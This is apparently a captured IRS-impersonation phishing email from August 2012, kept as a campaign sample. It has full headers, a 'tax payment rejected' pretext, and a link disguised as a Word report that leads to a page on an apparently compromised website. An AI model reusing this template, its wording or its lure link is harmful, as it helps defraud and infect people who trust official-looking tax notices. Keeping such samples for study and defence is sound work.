IRS Phishing Campaign

From - Mon Aug 13 12:29:57 2012
X-Account-Key: account3
X-UIDL: UID24500-1196665671
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-path: <[email protected]>
Envelope-to:
Delivery-date: Mon, 13 Aug 2012 10:47:43 -0400

Received: from apache by irs.gov with local (Exim 4.63)
    (envelope-from <[email protected]>)
    id BL0AYJ-9P51SH-2Q
    for   Mon, 13 Aug 2012 08:47:42 -0600
To:
Subject: Federal Tax payment rejected
Date: Mon, 13 Aug 2012 08:47:42 -0600
From: "Internal Revenue Service" <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)
MIME-Version: 1.0
Content-Type: multipart/alternative;
    boundary="------------06040600103080907060308"

This is a multi-part message in MIME format.
--------------06040600103080907060308
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="us-ascii"

   Your    Tax  payment (ID: 87833488050631), recently sent from your  checking account was returned by the  your Bank.         Rejected Tax  transfer
      Tax Transaction ID:     87833488050631
       Return Reason    See details in the report below
       FederalTax Transaction Report     tax_report_87833488050631.doc (Microsoft Word Document)
   Internal Revenue Service,   Metro Plex 1,   8401 Corporate Drive, Suite 300,   Landover, MD  20785

--------------06040600103080907060308
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset="Windows-1252"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  </head>
  <body bgcolor="#ffffff" text="#000000">
    <p>&nbsp;</p>
<img src="http://www.fountainfinancial.net/new/beamb/images/IRS_logo.jpg" title="Internal Revenue Service United States Department of the Treasury" alt="Internal Revenue Service United States Department of the Treasury (IRS )">
<p> </p>
<font face="Verdana" size="3">
<p>Your    Tax  payment (ID: 87833488050631), recently sent from your  checking account was returned by the  your Bank. </p>
</font>
<p> </p>
<table width="100%" border="1" cellpadding="1" cellspacing="1">
  <tr>
    <td colspan="2"><div align="center"><font face="Verdana" size="2"> Rejected Tax  transfer</font></div></td>
  </tr>
  <tr>
    <td><font face="Verdana" size="2">Tax Transaction ID: </font></td>
    <td><font face="Verdana" size="2">87833488050631</font></td>
  </tr>
  <tr>
    <td><font face="Verdana" size="2"> Return Reason</font></td>
    <td><font face="Verdana" size="2">See details in the report below </font></td>
  </tr>
  <tr>
    <td><font face="Verdana" size="2"> FederalTax Transaction Report </font></td>
    <td><font face="Verdana" size="2"><a href="http://stuartking.maf-uk.org/wp-content/plugins/rejrev.html">tax_report_87833488050631.doc</a> (Microsoft Word Document) </font></td>
  </tr>
</table>


<font color="#666666">

<p> <br>
  Internal Revenue Service,
  Metro Plex 1,
  8401 Corporate Drive, Suite 300,
  Landover, MD  20785</p>
</font>
  </body>
</html>